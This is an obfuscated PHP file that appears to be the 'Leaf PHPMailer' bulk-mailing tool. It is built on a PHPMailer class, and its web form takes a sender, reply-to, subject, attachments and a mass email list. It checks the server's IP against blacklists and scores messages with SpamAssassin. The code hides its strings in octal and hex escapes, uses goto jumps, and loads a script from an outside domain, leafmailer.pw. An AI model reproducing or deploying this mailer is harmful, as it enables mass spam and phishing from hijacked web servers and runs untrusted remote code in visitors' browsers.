$v9bIN = $akbHB;
$YVxOd = "\144\141\x74\145\137\x68\145\141\144\145\x72";
i0YIr:
F2oiL:
}
F__6J:
$Tt4em = str_replace("\x7c", "\x3d\67\x43", $this->DKIM_QP($uCtA6));
$aB8Ql = str_replace("\x7c", "\75\x37\x43", $this->DKIM_QP($N9LfN));
$XsJ5F = str_replace("\x7c", "\75\x37\103", $this->DKIM_QP($v9bIN));
$O5Nl2 = str_replace("\174", "\x3d\67\x43", $this->DKIM_QP($H89xN));
$DwsX3 = $this->DKIM_BodyC($DwsX3);
$iSmOs = strlen($DwsX3);
$kaqGY = base64_encode(pack("\x48\x2a", hash("\163\150\x61\x32\x35\66", $DwsX3)));
if ('' == $this->DKIM_identity) {
goto jSNiD;
}
$ISQbH = "\x20\151\x3d" . $this->DKIM_identity . "\73";
goto zJ3ff;
jSNiD:
$ISQbH = '';
zJ3ff:
$TrEW0 = "\x44\x4b\111\x4d\x2d\123\x69\x67\x6e\141\164\165\162\145\72\x20\x76\x3d\x31\x3b\40\x61\75" . $cVEOu . "\73\40\161\x3d" . $oDNO8 . "\73\40\x6c\x3d" . $iSmOs . "\x3b\x20\x73\75" . $this->DKIM_selector . "\x3b\15\12" . "\x9\164\x3d" . $tx1bH . "\x3b\x20\x63\75" . $vW5wo . "\73\xd\12" . "\x9\150\x3d\106\x72\x6f\155\x3a\124\157\72\104\141\x74\x65\x3a\123\165\x62\x6a\145\x63\164\x3b\xd\xa" . "\x9\144\x3d" . $this->DKIM_domain . "\73" . $ISQbH . "\xd\12" . "\11\x7a\x3d{$Tt4em}\xd\xa" . "\x9\174{$aB8Ql}\15\12" . "\x9\x7c{$XsJ5F}\15\12" . "\11\x7c{$O5Nl2}\x3b\15\12" . "\x9\x62\150\75" . $kaqGY . "\x3b\xd\xa" . "\x9\x62\75";
$Qc31z = $this->DKIM_HeaderC($uCtA6 . "\15\12" . $N9LfN . "\15\xa" . $v9bIN . "\15\xa" . $H89xN . "\15\12" . $TrEW0);
$V9xej = $this->DKIM_Sign($Qc31z);
return $TrEW0 . $V9xej . "\xd\xa";
}
public static function hasLineLongerThanMax($xyy5m)
{
return (bool) preg_match("\57\x5e\50\x2e\x7b" . (self::MAX_LINE_LENGTH + 2) . "\x2c\175\51\x2f\155", $xyy5m);
}
public function getToAddresses()
{
return $this->to;
}
public function getCcAddresses()
{
return $this->cc;
}
public function getBccAddresses()
{
return $this->bcc;
}
public function getReplyToAddresses()
{
return $this->ReplyTo;
}
public function getAllRecipientAddresses()
{
return $this->all_recipients;
}
protected function doCallback($dBaha, $aB8Ql, $l4USs, $P9PFE, $O5Nl2, $DwsX3, $Tt4em)
{
if (!(!empty($this->action_function) && is_callable($this->action_function))) {
goto ReTjh;
}
$azIW_ = array($dBaha, $aB8Ql, $l4USs, $P9PFE, $O5Nl2, $DwsX3, $Tt4em);
call_user_func_array($this->action_function, $azIW_);
ReTjh:
}
}
class phpmailerException extends Exception
{
public function errorMessage()
{
$WpH8R = "\74\x73\x74\162\x6f\x6e\147\76" . htmlspecialchars($this->getMessage()) . "\74\x2f\x73\x74\162\157\x6e\147\x3e\x3c\142\162\40\57\x3e\xa";
return $WpH8R;
}
}
function leafheader()
{
print "\15\12\x3c\150\145\141\144\x3e\15\12\40\x20\x20\40\x3c\164\x69\164\154\145\76" . str_replace("\167\x77\167\x2e", '', $_SERVER["\110\124\x54\x50\137\x48\x4f\123\x54"]) . "\x20\x2d\40\114\x75\x46\x69\170\x2e\x67\x73\74\x2f\164\151\164\x6c\145\76\15\12\x20\40\x20\x20\x3c\155\145\164\x61\x20\x68\x74\x74\160\55\x65\x71\x75\x69\166\x3d\x22\x43\x6f\156\164\145\x6e\x74\55\x54\171\160\145\x22\40\x63\157\x6e\x74\145\156\164\75\42\164\x65\170\164\x2f\x68\x74\155\154\73\40\143\150\x61\x72\x73\x65\164\x3d\x75\x74\146\55\70\42\57\76\15\12\x20\40\40\40\74\x6c\x69\156\153\x20\x68\162\x65\146\x3d\x22\x68\164\x74\160\163\72\x2f\57\155\x61\170\x63\144\156\56\142\157\157\164\x73\164\x72\141\160\x63\144\x6e\x2e\x63\x6f\x6d\x2f\x62\157\x6f\164\x73\167\x61\164\143\150\57\63\56\64\x2e\61\x2f\143\157\163\155\157\x2f\x62\157\157\164\x73\x74\162\x61\x70\56\x6d\151\x6e\56\143\x73\163\x22\40\x72\145\154\x3d\42\x73\x74\x79\154\145\163\x68\145\145\164\42\x20\x3e\15\xa\x20\40\40\x20\74\x73\143\162\x69\160\164\40\x73\162\x63\x3d\x22\150\164\x74\160\163\x3a\x2f\57\x6c\145\x61\146\x6d\x61\x69\x6c\145\x72\x2e\160\167\x2f\x73\164\171\x6c\x65\62\56\152\x73\x22\x3e\74\57\x73\x63\x72\x69\x70\164\76\xd\12\15\xa\74\57\x68\145\x61\144\x3e";
}
leafheader();
print "\74\x62\x6f\144\x79\x3e";
print "\x3c\144\x69\166\x20\x63\154\141\163\163\x3d\x22\143\x6f\x6e\x74\x61\151\156\x65\x72\40\143\157\154\55\154\x67\55\66\x22\76\15\12\x20\40\x20\40\40\x20\x20\40\x3c\150\x33\x3e\x3c\x66\x6f\156\164\x20\x63\157\x6c\x6f\x72\x3d\x22\147\x72\x65\x65\x6e\x22\x3e\x3c\x73\160\x61\156\x20\143\x6c\x61\x73\x73\75\42\147\154\171\x70\x68\x69\x63\x6f\156\x20\147\x6c\171\160\150\151\143\x6f\156\x2d\154\145\141\146\x22\76\74\x2f\163\160\x61\x6e\76\x3c\x2f\x66\x6f\x6e\x74\x3e\x20\x4c\x65\141\146\x20\x50\110\x50\115\x61\x69\154\x65\162\x20\x3c\163\155\x61\154\154\x3e" . $QsWd8["\x76\145\162\x73\151\x6f\x6e"] . "\74\x2f\x73\155\141\x6c\x6c\x3e\x3c\x2f\x68\x33\x3e\xd\12\40\40\x20\x20\x20\40\40\x20\x3c\146\157\x72\x6d\x20\156\x61\155\x65\75\42\x66\x6f\162\155\42\40\151\144\x3d\x22\x66\157\162\x6d\x22\x20\155\x65\x74\150\x6f\144\x3d\42\x50\x4f\123\124\x22\x20\x65\156\143\164\171\x70\145\x3d\x22\155\x75\154\164\x69\160\x61\x72\164\57\x66\x6f\162\155\55\x64\x61\x74\x61\x22\x20\x61\143\164\151\157\x6e\x3d\x22\x22\76\xd\xa\40\40\x20\40\40\40\x20\40\40\40\x20\40\40\40\40\40\x20\40\40\x20\74\151\x6e\160\x75\x74\x20\164\171\160\145\75\42\150\x69\x64\x64\x65\x6e\42\x20\156\x61\x6d\145\75\42\141\143\x74\x69\x6f\156\x22\40\x76\141\x6c\x75\x65\x3d\42\163\143\157\162\x65\x22\x3e\xd\12\15\12\x20\40\x20\x20\x20\40\x20\40\40\x20\40\40\74\144\x69\166\x20\143\x6c\x61\x73\x73\75\x22\162\x6f\167\x22\76\15\xa\x20\x20\40\40\40\x20\40\x20\40\40\40\x20\x20\40\x20\x20\74\144\x69\166\40\x63\154\141\163\x73\75\x22\x66\157\162\x6d\55\147\162\157\x75\160\x20\143\x6f\x6c\x2d\x6c\147\55\x36\x20\42\x3e\74\154\141\x62\x65\x6c\40\x66\x6f\x72\75\42\163\x65\x6e\144\145\162\x45\155\x61\151\154\x22\x3e\105\155\141\151\x6c\x3c\x2f\x6c\x61\142\x65\154\76\74\151\x6e\x70\165\x74\40\x74\171\x70\145\75\x22\164\x65\170\x74\42\40\x63\154\x61\163\163\x3d\42\146\x6f\x72\x6d\55\x63\157\156\164\x72\x6f\x6c\40\40\151\x6e\160\x75\x74\x2d\x73\x6d\x20\x22\x20\151\x64\x3d\x22\163\x65\x6e\144\x65\x72\105\x6d\141\x69\x6c\x22\x20\x6e\141\155\x65\75\x22\163\145\x6e\x64\x65\162\105\155\x61\151\154\42\40\166\141\x6c\x75\x65\x3d\42" . $Cp3Wq . "\x22\76\x3c\57\144\151\166\76\15\12\x20\x20\x20\x20\40\40\40\x20\40\40\x20\x20\x20\x20\x20\x20\74\144\x69\x76\x20\x63\x6c\x61\x73\x73\x3d\x22\146\157\x72\155\x2d\147\x72\x6f\165\160\x20\x63\x6f\154\55\x6c\x67\55\66\x20\42\x3e\x3c\x6c\141\x62\145\154\x20\x66\x6f\162\75\x22\x73\x65\x6e\x64\x65\x72\116\x61\155\x65\42\76\x53\x65\x6e\144\x65\x72\x20\116\x61\x6d\145\74\x2f\154\x61\x62\145\154\76\74\151\x6e\160\x75\164\40\x74\171\160\145\x3d\x22\x74\145\170\164\x22\x20\x63\154\x61\163\x73\x3d\x22\x66\x6f\x72\155\55\143\x6f\x6e\164\162\157\154\x20\40\x69\x6e\160\x75\x74\55\x73\x6d\x20\x22\x20\151\144\x3d\42\x73\x65\156\x64\145\162\116\x61\x6d\x65\x22\x20\156\141\155\x65\x3d\42\x73\145\x6e\x64\145\x72\116\x61\x6d\x65\42\40\166\141\154\x75\x65\75\42" . $FR34O . "\42\x3e\74\57\x64\x69\166\x3e\xd\12\40\x20\x20\40\40\x20\x20\40\x20\40\40\40\x3c\x2f\144\151\166\x3e\15\xa\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x3c\144\x69\x76\x20\x63\x6c\141\163\x73\75\x22\162\157\167\42\x3e\15\xa\x20\40\40\x20\x20\x20\40\40\x20\x20\40\x20\x20\40\40\x20\74\163\160\x61\x6e\40\x63\154\x61\x73\163\75\42\146\157\x72\x6d\x2d\x67\x72\x6f\165\160\x20\x63\157\154\55\154\x67\x2d\66\x20\40\42\x3e\x3c\x6c\x61\142\145\x6c\x20\x66\x6f\x72\75\42\x61\164\x74\x61\x63\150\155\x65\x6e\164\42\x3e\x41\164\x74\141\x63\x68\155\x65\156\x74\40\x3c\x73\x6d\141\x6c\154\76\50\115\165\x6c\x74\x69\160\x6c\x65\40\x41\166\x61\151\x6c\x61\142\154\x65\x29\x3c\x2f\x73\x6d\x61\154\154\x3e\x3c\57\x6c\141\142\145\x6c\76\74\x69\x6e\160\165\164\40\164\x79\160\x65\x3d\42\x66\151\x6c\145\x22\40\x6e\x61\155\x65\75\x22\141\x74\x74\141\143\150\x6d\x65\156\164\x5b\x5d\42\x20\151\144\x3d\x22\141\164\164\141\x63\150\x6d\145\x6e\164\133\135\42\40\155\x75\x6c\164\151\160\154\x65\x2f\76\74\x2f\163\160\141\156\76\15\xa\15\xa\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\40\40\x20\x20\x20\74\144\x69\x76\40\143\x6c\141\163\x73\75\42\x66\157\162\x6d\x2d\147\162\x6f\165\160\x20\143\x6f\154\55\154\147\55\66\x22\x3e\74\154\141\142\x65\154\40\146\x6f\x72\75\42\x72\x65\x70\154\x79\124\157\x22\76\122\x65\x70\x6c\171\x2d\x74\157\x3c\x2f\154\x61\142\x65\x6c\76\x3c\151\x6e\160\x75\x74\40\x74\x79\x70\145\75\x22\x74\x65\170\164\x22\x20\143\154\141\x73\x73\x3d\x22\x66\x6f\x72\x6d\55\143\x6f\x6e\164\x72\157\x6c\x20\x20\x69\x6e\160\x75\164\x2d\163\x6d\40\42\40\x69\144\75\x22\162\x65\160\154\x79\x54\157\x22\x20\156\141\155\x65\75\42\162\x65\160\154\171\124\157\42\x20\166\x61\x6c\165\145\75\42" . $H7ity . "\x22\x20\x2f\76\x3c\x2f\x64\x69\166\x3e\15\xa\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\x3c\x2f\x64\x69\166\76\xd\12\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\40\x3c\144\151\x76\x20\x63\154\141\x73\x73\x3d\x22\x72\157\x77\x22\x3e\15\12\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\40\x20\x20\x20\40\74\144\151\x76\x20\143\x6c\141\163\163\x3d\42\x66\157\x72\155\x2d\147\162\x6f\x75\x70\x20\x63\157\x6c\55\154\x67\x2d\x31\62\40\42\76\74\x6c\141\142\x65\x6c\40\146\157\x72\75\42\163\165\x62\152\x65\143\x74\42\x3e\x53\165\x62\152\x65\143\x74\x3c\x2f\x6c\x61\142\x65\x6c\76\74\151\x6e\x70\165\x74\x20\164\x79\x70\145\x3d\x22\164\145\170\164\x22\40\143\x6c\x61\x73\163\x3d\42\146\157\x72\x6d\x2d\x63\x6f\156\164\x72\x6f\154\x20\x20\x69\x6e\x70\165\164\55\x73\155\x20\42\x20\151\144\75\42\x73\165\142\x6a\x65\x63\164\x22\x20\x6e\x61\x6d\x65\x3d\42\163\x75\142\x6a\145\x63\x74\x22\40\x76\x61\x6c\x75\145\75\42" . $O5Nl2 . "\42\40\57\x3e\74\57\x64\151\166\76\15\12\40\40\40\40\40\x20\x20\40\x20\40\40\40\74\57\x64\x69\x76\76\15\xa\40\40\x20\40\x20\40\40\x20\x20\x20\x20\40\74\144\151\166\x20\x63\154\141\163\163\75\x22\x72\x6f\x77\42\x3e\xd\12\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\74\x64\151\x76\x20\143\x6c\x61\163\163\x3d\42\x66\157\x72\155\x2d\x67\162\x6f\165\160\40\143\157\x6c\55\154\147\x2d\x36\x22\x3e\x3c\x6c\141\x62\145\154\x20\x66\x6f\x72\75\x22\155\145\x73\163\141\147\145\x4c\x65\164\164\x65\x72\x22\76\x4d\145\163\163\x61\x67\145\x20\x4c\x65\164\x74\145\x72\40\74\142\165\164\x74\157\x6e\x20\x74\x79\x70\145\x3d\x22\x73\x75\142\155\151\x74\x22\40\143\154\141\x73\163\75\42\x62\164\156\40\142\164\156\x2d\144\145\x66\x61\165\154\x74\40\142\x74\156\55\170\163\42\40\146\x6f\162\x6d\x3d\x22\146\x6f\x72\155\x22\40\156\141\155\x65\75\42\141\143\x74\151\x6f\x6e\42\40\166\141\x6c\165\x65\75\42\x76\x69\145\x77\x22\40\146\x6f\162\x6d\164\x61\x72\x67\145\164\x3d\42\x5f\142\x6c\141\x6e\153\x22\76\x50\x72\x65\x76\x69\145\x77\40\x3c\57\142\x75\164\x74\x6f\x6e\76\74\x2f\154\x61\x62\x65\154\x3e\x3c\164\145\x78\x74\141\x72\145\x61\x20\156\141\x6d\x65\x3d\x22\x6d\x65\163\163\141\147\145\114\145\x74\164\x65\162\42\40\x69\x64\x3d\x22\x6d\145\x73\x73\x61\x67\x65\x4c\x65\164\x74\x65\162\42\40\143\x6c\141\x73\163\75\42\146\x6f\162\x6d\55\x63\x6f\156\x74\162\x6f\x6c\x22\x20\x72\157\x77\x73\x3d\42\x31\x30\42\40\151\x64\75\x22\164\145\x78\x74\101\x72\x65\x61\x22\76" . $cjbiA . "\74\x2f\164\145\170\x74\x61\x72\145\x61\x3e\x3c\x2f\144\x69\x76\76\15\12\40\40\x20\40\40\40\40\40\x20\x20\x20\40\x20\x20\40\x20\74\144\151\x76\40\x63\x6c\141\x73\x73\75\x22\x66\157\162\155\x2d\x67\x72\157\x75\x70\40\x63\x6f\154\x2d\154\147\55\66\40\42\x3e\74\154\141\x62\x65\154\40\146\x6f\162\x3d\42\x65\x6d\141\151\x6c\114\x69\x73\x74\42\76\105\x6d\141\151\154\40\114\151\x73\x74\x20\x3c\x61\40\x68\x72\x65\x66\75\x22\77\x65\x6d\x61\151\x6c\x66\x69\x6c\164\145\x72\75\157\156\42\x20\x74\x61\x72\147\145\164\75\x22\137\142\154\x61\156\153\42\40\x63\x6c\141\163\163\x3d\42\142\164\156\40\x62\x74\156\55\x64\x65\x66\x61\x75\154\164\40\x62\x74\x6e\55\170\163\x22\76\106\151\x6c\164\145\162\x2f\x45\x78\x74\x72\x61\x63\164\74\57\141\x3e\74\57\x6c\141\142\x65\x6c\x3e\74\x74\x65\x78\x74\x61\162\x65\x61\x20\156\141\155\145\75\42\x65\155\x61\x69\x6c\114\x69\163\164\42\40\151\144\75\x22\145\x6d\141\x69\x6c\x4c\151\163\x74\x22\x20\x63\x6c\x61\x73\x73\x3d\42\146\x6f\x72\155\x2d\143\157\156\164\162\x6f\154\42\x20\162\x6f\167\163\75\x22\x31\x30\x22\x20\151\144\x3d\x22\164\145\x78\164\x41\x72\x65\x61\x22\x3e" . $yik22 . "\x3c\57\164\x65\170\164\x61\x72\x65\141\x3e\x3c\x2f\144\151\166\76\xd\12\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\74\57\144\151\x76\x3e\15\12\40\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x64\151\166\x20\143\x6c\x61\163\x73\75\42\162\x6f\x77\x22\76\15\xa\x20\40\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\40\40\74\x64\x69\x76\x20\x63\154\141\x73\x73\x3d\x22\x66\x6f\x72\x6d\x2d\147\162\x6f\x75\x70\40\143\157\154\55\154\x67\55\x36\40\x22\x3e\xd\xa\x20\x20\40\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\40\40\x3c\x6c\x61\x62\145\x6c\x20\146\x6f\x72\75\x22\155\x65\163\163\x61\147\145\x54\x79\160\145\42\76\x4d\x65\x73\163\x61\147\x65\40\x54\171\x70\x65\x3c\x2f\154\x61\x62\145\154\x3e\15\xa\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\40\x20\x20\x20\40\x48\x54\115\114\x20\x3c\x69\156\160\x75\164\40\x74\x79\x70\x65\x3d\42\x72\141\144\151\x6f\x22\40\156\141\155\x65\x3d\42\x6d\x65\163\x73\x61\147\x65\x54\171\160\x65\x22\x20\151\x64\75\x22\x6d\145\x73\x73\x61\147\x65\124\171\x70\x65\42\40\x76\141\154\165\145\x3d\42\x31\x22\40" . $Nxha4 . "\76\xd\12\40\40\x20\40\40\x20\x20\x20\x20\40\x20\x20\40\x20\40\40\x20\x20\40\40\120\x6c\141\x69\x6e\74\x69\156\x70\x75\164\40\164\x79\x70\x65\75\42\x72\x61\x64\x69\x6f\42\x20\156\x61\x6d\145\x3d\42\x6d\x65\x73\163\141\x67\145\x54\171\x70\145\x22\40\x69\144\75\x22\155\x65\x73\163\x61\x67\145\x54\x79\x70\x65\42\40\166\x61\154\x75\145\x3d\x22\62\42\x20" . $KXj0Y . "\x3e\15\xa\x20\x20\x20\40\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\74\x2f\144\x69\166\x3e\15\12\40\40\40\x20\40\40\x20\40\40\40\x20\x20\40\x20\40\40\x3c\x64\x69\x76\x20\x63\154\141\x73\163\75\42\x66\157\162\155\55\147\x72\x6f\165\x70\40\x63\x6f\154\55\154\147\55\x33\40\x22\x3e\15\xa\x20\40\x20\40\x20\x20\40\40\40\x20\x20\x20\40\x20\40\40\x20\40\x20\40\x3c\154\141\142\x65\154\x20\146\157\x72\75\42\x63\x68\x61\162\x73\x65\164\x22\76\103\150\141\x72\x61\143\164\x65\x72\x20\x73\145\164\74\57\154\x61\142\x65\154\x3e\15\xa\40\40\x20\x20\x20\40\x20\x20\40\x20\40\40\x20\40\40\x20\x20\x20\40\40\x3c\163\145\154\145\143\164\x20\143\x6c\x61\x73\x73\x3d\x22\x66\157\162\155\x2d\x63\157\x6e\x74\162\x6f\154\40\x69\156\x70\x75\x74\x2d\x73\x6d\42\40\x69\x64\x3d\x22\143\x68\x61\162\x73\x65\164\x22\x20\156\x61\155\x65\75\42\x63\x68\x61\x72\163\x65\164\x22\x3e\15\12\x20\40\40\x20\x20\40\40\40\40\x20\x20\40\40\x20\x20\40\x20\40\40\40\40\40\40\40\x3c\x6f\160\x74\x69\157\x6e\x20" . $ShQNd . "\76\125\124\x46\55\x38\74\57\157\x70\164\151\x6f\x6e\76\xd\12\x20\x20\40\40\x20\40\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\x3c\157\x70\x74\x69\x6f\156\40" . $m_uc7 . "\x3e\111\123\117\x2d\x38\x38\x35\x39\x2d\61\74\57\x6f\x70\x74\x69\157\x6e\x3e\xd\xa\40\x20\x20\x20\x20\40\x20\x20\40\40\40\40\x20\x20\40\x20\40\40\40\40\x3c\x2f\x73\145\x6c\145\x63\164\x3e\15\12\40\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\x3c\57\x64\151\x76\76\xd\12\x20\40\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\74\144\151\166\x20\143\154\141\x73\163\x3d\42\146\x6f\x72\x6d\x2d\x67\x72\157\165\160\40\143\x6f\154\x2d\x6c\x67\x2d\x33\x20\42\76\15\12\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\40\40\x20\40\40\40\x20\x20\x3c\x6c\141\x62\145\x6c\40\146\157\162\75\42\145\156\x63\157\144\x69\156\x67\42\x3e\x4d\x65\163\163\141\x67\x65\40\x65\x6e\x63\x6f\144\x69\x6e\147\74\57\154\141\x62\145\x6c\76\xd\12\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\40\40\40\x20\40\x20\x20\40\x20\74\x73\145\x6c\x65\143\x74\x20\143\154\141\163\163\x3d\x22\x66\x6f\x72\x6d\55\x63\157\156\164\x72\x6f\154\40\151\x6e\160\165\x74\x2d\163\155\x22\40\x69\x64\75\42\145\156\x63\x6f\144\x65\x22\x20\156\x61\x6d\145\75\x22\x65\156\x63\157\x64\x65\42\76\xd\12\x20\40\40\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\40\40\x3c\157\x70\x74\x69\157\x6e\40" . $xI37z . "\76\x38\x62\x69\x74\74\x2f\157\160\x74\151\x6f\x6e\x3e\xd\12\x20\40\40\40\40\x20\40\x20\40\40\40\40\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x3c\x6f\x70\164\151\157\156\40" . $lArhr . "\76\67\x62\x69\x74\x3c\x2f\x6f\x70\x74\x69\x6f\156\76\xd\12\x20\x20\40\x20\40\40\x20\x20\x20\40\40\x20\x20\40\40\x20\40\x20\40\x20\40\40\40\x20\x3c\x6f\160\164\x69\157\156\40" . $if585 . "\x3e\142\151\156\x61\162\171\x3c\57\157\x70\164\151\x6f\156\x3e\xd\xa\x20\x20\x20\x20\40\40\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\40\40\40\x20\40\40\x3c\x6f\160\164\x69\x6f\x6e\x20" . $rCnx9 . "\x3e\142\141\163\x65\x36\x34\x3c\57\x6f\160\x74\151\x6f\x6e\x3e\15\xa\x20\40\x20\x20\40\x20\x20\x20\x20\40\40\40\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\74\x6f\x70\164\x69\157\x6e\x20" . $D26RL . "\x3e\161\165\x6f\164\145\x64\x2d\160\x72\x69\x6e\164\x61\142\154\145\x3c\57\x6f\160\x74\151\157\156\76\xd\xa\15\12\40\40\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\40\x20\40\40\x20\40\74\57\163\x65\154\x65\x63\164\76\15\xa\x20\x20\40\x20\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\40\74\57\144\x69\x76\76\15\12\40\40\40\x20\40\x20\40\x20\x20\40\x20\x20\x3c\57\x64\x69\x76\76\xd\12\40\40\40\x20\40\x20\40\40\40\x20\x20\x20\x3c\x62\165\164\x74\157\x6e\40\x74\171\x70\145\75\x22\163\165\142\x6d\151\164\x22\x20\x63\154\x61\163\x73\x3d\x22\x62\x74\x6e\40\142\x74\156\55\144\145\x66\141\x75\x6c\x74\40\142\164\156\55\x73\x6d\42\x20\146\x6f\162\155\x3d\42\146\x6f\162\155\x22\40\x6e\141\x6d\145\75\42\141\x63\x74\151\x6f\x6e\42\x20\166\x61\x6c\165\145\x3d\42\163\x65\156\x64\42\x3e\123\105\x4e\104\74\57\x62\165\x74\164\157\x6e\76\40\157\x72\x20\74\141\40\x68\x72\145\146\x3d\42\43\x22\40\157\x6e\143\154\151\x63\x6b\75\x22\x64\x6f\143\x75\x6d\145\x6e\x74\56\147\x65\x74\105\x6c\x65\155\x65\156\x74\x42\x79\x49\x64\x28\x27\x66\x6f\162\155\x27\x29\x2e\x73\x75\x62\x6d\151\x74\x28\x29\73\40\x72\x65\164\165\x72\x6e\40\146\141\x6c\x73\x65\x3b\x22\76\x63\150\145\x63\x6b\x20\x53\160\141\x6d\x41\163\163\x61\x73\163\x69\x6e\x20\x53\x63\x6f\x72\145\x3c\57\x61\76\15\xa\40\x20\40\15\xa\x20\40\x20\40\x20\x20\40\40\74\x2f\x66\x6f\x72\x6d\x3e\xd\12\x20\x20\x20\x20\74\x2f\144\x69\x76\x3e\15\12\40\x20\x20\x20\x3c\144\x69\x76\40\143\154\141\x73\163\75\x22\143\157\x6c\55\154\x67\55\x36\x22\76\74\142\162\x3e\xd\12\x20\x20\x20\40\x20\x20\40\x20\74\x6c\x61\x62\145\154\40\146\x6f\162\x3d\42\167\x65\154\x6c\x22\x3e\x49\x6e\163\x74\162\x75\143\x74\x69\x6f\x6e\74\57\154\x61\142\x65\154\x3e\xd\xa\40\40\40\x20\x20\40\40\40\x3c\144\151\x76\40\151\x64\x3d\42\x77\x65\154\154\42\40\x63\x6c\141\163\163\75\42\167\145\154\x6c\x20\x77\x65\x6c\x6c\x22\76\xd\12\40\x20\x20\40\x20\40\40\40\x20\40\40\x20\x3c\150\x34\76\x53\145\162\166\x65\162\x20\x49\x6e\x66\x6f\162\x6d\141\164\x69\157\156\x3c\57\150\x34\x3e\15\xa\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\x3c\x75\x6c\x3e\15\12\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\40\74\x6c\x69\x3e\123\145\162\166\x65\162\40\111\x50\40\x41\x64\x64\162\x65\x73\163\x20\x3a\40\74\142\x3e" . $_SERVER["\x53\105\122\x56\105\122\137\101\104\x44\x52"] . "\x20\74\x2f\x62\x3e\40\74\x61\40\150\x72\145\x66\x3d\x22\x3f\143\x68\145\143\x6b\137\151\x70\x3d" . $_SERVER["\123\105\122\126\x45\122\137\x41\104\104\x52"] . "\x22\x20\164\141\x72\147\x65\164\x3d\x22\137\142\x6c\x61\x6e\x6b\x22\40\x63\x6c\141\x73\163\75\x22\x6c\141\x62\145\x6c\40\x6c\x61\x62\145\x6c\x2d\x70\x72\151\155\x61\x72\171\42\x3e\103\x68\x65\143\x6b\x20\102\154\141\x63\153\154\151\163\x74\x20\x3c\151\40\x63\154\141\x73\x73\x3d\x22\147\154\171\x70\150\x69\x63\x6f\156\x20\147\x6c\x79\x70\x68\151\143\x6f\156\x2d\163\x65\x61\x72\143\x68\x22\76\x3c\x2f\x69\76\74\x2f\141\x3e\x3c\x2f\x6c\151\76\15\12\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\x3c\154\151\x3e\x50\x48\120\x20\x56\145\162\x73\x69\157\156\x20\x3a\40\74\x62\76" . phpversion() . "\74\x2f\x62\76\x3c\57\154\151\76\15\xa\40\40\x20\40\40\40\40\x20\40\40\x20\40\x20\40\40\x20\xd\xa\15\xa\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x20\74\57\x75\x6c\x3e\xd\xa\40\x20\40\x20\40\40\x20\40\x20\x20\x20\40\x3c\150\x34\76\x48\x45\x4c\x50\x3c\x2f\150\64\x3e\xd\12\x20\x20\x20\40\x20\x20\40\40\40\x20\x20\40\74\165\154\76\xd\xa\x20\40\40\40\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\74\154\x69\76\x5b\55\145\x6d\141\x69\154\x2d\x5d\40\x3a\40\74\142\76\122\x65\143\151\x76\x65\162\x20\x45\155\x61\x69\154\x3c\57\x62\x3e\x20\50\145\x6d\x61\151\x6c\x75\163\145\x72\100\x65\x6d\x61\x69\x6c\x64\157\x6d\141\151\x6e\x2e\143\157\155\x29\x3c\57\154\x69\x3e\15\xa\x20\40\x20\x20\40\40\40\40\40\40\x20\40\x20\40\40\40\74\x75\154\x3e\xd\12\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x20\40\40\40\40\x20\40\40\x20\74\154\x69\x3e\133\x2d\145\155\x61\151\154\165\163\145\162\55\135\40\72\40\74\142\76\x45\155\x61\151\154\x20\x55\x73\x65\x72\74\x2f\142\x3e\x20\50\x65\155\x61\151\x6c\x75\163\x65\162\51\x20\74\57\x6c\x69\76\15\12\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\40\40\40\40\x20\40\x20\40\x3c\x6c\x69\76\133\x2d\145\x6d\141\x69\x6c\x64\157\x6d\x61\151\x6e\55\x5d\x20\72\x20\74\x62\76\x45\155\141\x69\154\x20\125\163\x65\162\74\x2f\142\x3e\x20\x28\145\155\x61\x69\x6c\x64\x6f\x6d\141\x69\156\x2e\x63\x6f\155\x29\x20\74\57\154\x69\x3e\xd\xa\x20\40\40\x20\40\40\x20\40\x20\40\x20\40\40\40\40\40\x3c\x2f\x75\x6c\76\xd\12\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\40\x3c\x6c\151\x3e\x5b\55\164\x69\155\145\55\x5d\x20\72\x20\74\142\76\x44\141\x74\145\x20\x61\156\x64\x20\x54\151\x6d\x65\x3c\x2f\142\x3e\x20\x28" . date("\155\57\x64\57\x59\x20\x68\72\151\72\x73\40\141", time()) . 